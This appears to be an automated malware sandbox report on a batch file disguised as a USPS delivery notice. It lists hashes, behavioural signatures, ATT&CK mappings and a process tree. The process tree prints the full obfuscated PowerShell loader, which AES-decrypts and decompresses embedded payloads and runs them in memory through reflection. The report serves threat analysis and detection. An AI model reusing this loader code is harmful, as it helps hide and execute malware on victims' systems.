2935e73a76b190dc5d81ecec475f9b1559e61fdff3f56e9c52f7dcde6a0b9627

General

Target

Fwd_USPS_Expected_Delivery_on_Monday_20231111.bat
Size

235KB
MD5

fb5791ff7ad2148b8df7a4e351e46842
SHA1

55b68f7462e2c034ad3220b1096578c9a8697a34
SHA256

f590b5d9c60f27f88ee136632a4b34d037ff271dc55275b4cff859bd48eb06f2
SHA512

8f42f02f8c09c35f491b62ed30e26ae413c9a9c2e20d473bb8d8724f1446f95a62a1e91d77e7d0abfd0053f9fa26f2080bfbf9df5123f81f5768c543c9b8a790
SSDEEP

3072:oE7glwQ922cFBB5HM5cez7osBGlCipzFqVlk3tIexSnj+wVC1UbweKeWDZmTrr/M:nglwK22KBBIceQsBGysxxcgXZwrr5MZX

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
1784	Fwd_USPS_Expected_Delivery_on_Monday_20231111.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1784	Fwd_USPS_Expected_Delivery_on_Monday_20231111.bat.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1584	powershell.exe
1784	Fwd_USPS_Expected_Delivery_on_Monday_20231111.bat.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1584	powershell.exe
Token: SeDebugPrivilege	1784	Fwd_USPS_Expected_Delivery_on_Monday_20231111.bat.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 904 wrote to memory of 1584	904	cmd.exe	28
PID 904 wrote to memory of 1584	904	cmd.exe	28
PID 904 wrote to memory of 1584	904	cmd.exe	28
PID 904 wrote to memory of 1784	904	cmd.exe	29
PID 904 wrote to memory of 1784	904	cmd.exe	29
PID 904 wrote to memory of 1784	904	cmd.exe	29
PID 904 wrote to memory of 1784	904	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Fwd_USPS_Expected_Delivery_on_Monday_20231111.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w hidden -c #
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1584
- C:\Users\Admin\AppData\Local\Temp\Fwd_USPS_Expected_Delivery_on_Monday_20231111.bat.exe
  "C:\Users\Admin\AppData\Local\Temp\Fwd_USPS_Expected_Delivery_on_Monday_20231111.bat.exe" function Xy($b){$b.Replace('vSmGw', '')}$LLEF=Xy 'EnvSmGwtrvSmGwyvSmGwPovSmGwintvSmGw';$OrsV=Xy 'FromvSmGwBasevSmGw64vSmGwStvSmGwrivSmGwngvSmGw';$RFsr=Xy 'RevSmGwadvSmGwLinevSmGwsvSmGw';$QLig=Xy 'InvSmGwvokvSmGwevSmGw';$VRXb=Xy 'TranvSmGwsfovSmGwrvSmGwmFvSmGwivSmGwnalvSmGwBlvSmGwockvSmGw';$tKVa=Xy 'CvSmGwrvSmGwevSmGwatevSmGwDecrvSmGwypvSmGwtovSmGwrvSmGw';$CoSN=Xy 'LvSmGwovSmGwadvSmGw';$YJoi=Xy 'GvSmGwevSmGwtCvSmGwurrvSmGwenvSmGwtPvSmGwrvSmGwocevSmGwssvSmGw';$BTxw=Xy 'FvSmGwirstvSmGw';$tQgl=Xy 'ChvSmGwanvSmGwgvSmGweEvSmGwxvSmGwtevSmGwnsivSmGwonvSmGw';function MHOHE($oVxEr){$OpvpD=[System.Security.Cryptography.Aes]::Create();$OpvpD.Mode=[System.Security.Cryptography.CipherMode]::CBC;$OpvpD.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$OpvpD.Key=[System.Convert]::$OrsV('Z1w0C4VfFltAxFc5GtH6GgxG5WWF9jPI0I/rvgBH6DQ=');$OpvpD.IV=[System.Convert]::$OrsV('HnFST6ASK8sXXV+1L3SdHw==');$vcVSb=$OpvpD.$tKVa();$bhuUY=$vcVSb.$VRXb($oVxEr,0,$oVxEr.Length);$vcVSb.Dispose();$OpvpD.Dispose();$bhuUY;}function DwQRM($oVxEr){$mhOnd=New-Object System.IO.MemoryStream(,$oVxEr);$JLVWL=New-Object System.IO.MemoryStream;$mIqqp=New-Object System.IO.Compression.GZipStream($mhOnd,[IO.Compression.CompressionMode]::Decompress);$mIqqp.CopyTo($JLVWL);$mIqqp.Dispose();$mhOnd.Dispose();$JLVWL.Dispose();$JLVWL.ToArray();}function rgAct($oVxEr,$XYsts){[System.Reflection.Assembly]::$CoSN([byte[]]$oVxEr).$LLEF.$QLig($null,$XYsts);}$pEjBI=[System.Linq.Enumerable]::$BTxw([System.IO.File]::$RFsr([System.IO.Path]::$tQgl([System.Diagnostics.Process]::$YJoi().MainModule.FileName, $null)));$GLqbd = $pEjBI.Substring(3).Split('\');$dXjNK=DwQRM (MHOHE ([Convert]::$OrsV($GLqbd[0])));$EobPQ=DwQRM (MHOHE ([Convert]::$OrsV($GLqbd[1])));rgAct $EobPQ $null;rgAct $dXjNK $null;
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1784

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Fwd_USPS_Expected_Delivery_on_Monday_20231111.bat.exe

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
memory/1584-58-0x000000001B130000-0x000000001B412000-memory.dmp

Filesize
2.9MB

Download
memory/1584-59-0x0000000001E20000-0x0000000001E28000-memory.dmp

Filesize
32KB

Download
memory/1584-60-0x00000000025A4000-0x00000000025A7000-memory.dmp

Filesize
12KB

Download
memory/1584-61-0x00000000025AB000-0x00000000025E2000-memory.dmp

Filesize
220KB

Download
memory/1784-67-0x0000000002440000-0x0000000002480000-memory.dmp

Filesize
256KB

Download
memory/1784-68-0x0000000002440000-0x0000000002480000-memory.dmp

Filesize
256KB

Download

Analysis

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